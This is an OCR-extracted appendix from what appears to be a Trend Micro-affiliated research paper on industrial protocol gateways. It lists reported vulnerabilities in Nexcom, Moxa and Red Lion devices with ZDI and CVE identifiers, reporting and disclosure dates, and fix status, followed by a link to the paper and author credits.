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Appendix: List of reported vulns

* Reported via the Zero Day Initiative (ZDI) and with
the support of ICS-CERT

Gateway

Nexcom NIO50

Moxa MGate 5105-MB-EIP

Red Lion DAT0D

Name

Protocol Translation Bypass

Unencrypted MQTT

Authentication Bypass

Unsanitized MQTT Upstream

Information disclosure through Proprietary Commands
Credential reuse through Proprietary Commands
Post-auth root shell and persistence

Modbus Read Denial-of-Service

Arbitrary Memory Leakage

Unauthorized Database Upload and Download

ID

ZDI-CAN-10485

ZDI-CAN-10486

ZDI-CAN-10487

ZDI-CAN-10488

CVE-2020-15494

CVE-2020-15493

CVE-2020-8858

ZDI-CAN-10804

ZDI-CAN-10897

ZDI-CAN-11306

Reporting Date
Feb 10, 2020
Feb 10, 2020
Feb 10, 2020
Feb 10, 2020
Mar 18, 2020
Mar 18, 2020
Oct 14,2019
Mar 23, 2020
Apr 5,2020

Jun 16, 2020

Disclosure Date
Jul 06, 2020
July 06, 2020
July 06, 2020
July 06, 2020
July 16,2020
July 16,2020
Feb 14, 2020

Jul 24, 2020
Aug 5, 2020

Oct 14, 2020

Status

Closed, O-day, EOL product

Closed, O-day, EOL product

Closed, O-day, EOL product

Closed, 0-day, EOL product

Closed, published recommendation, waiting fix
Closed, published recommendation, waiting fix
Closed, fixed

Open

Open

Open
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[1] Copy of paper available at http://www.madlab.it/papers/protogw.pdf - ,
Joint work with: ® A ’ T R E N D c(
- Philippe Lin, Charles Perine, Ryan Flores, Rainer Vosseler from Trend Micro ’ MICRO" | FeSeAarc h

- Luca Bongiorni as Independent Researcher


http://www.madlab.it/papers/protogw.pdf
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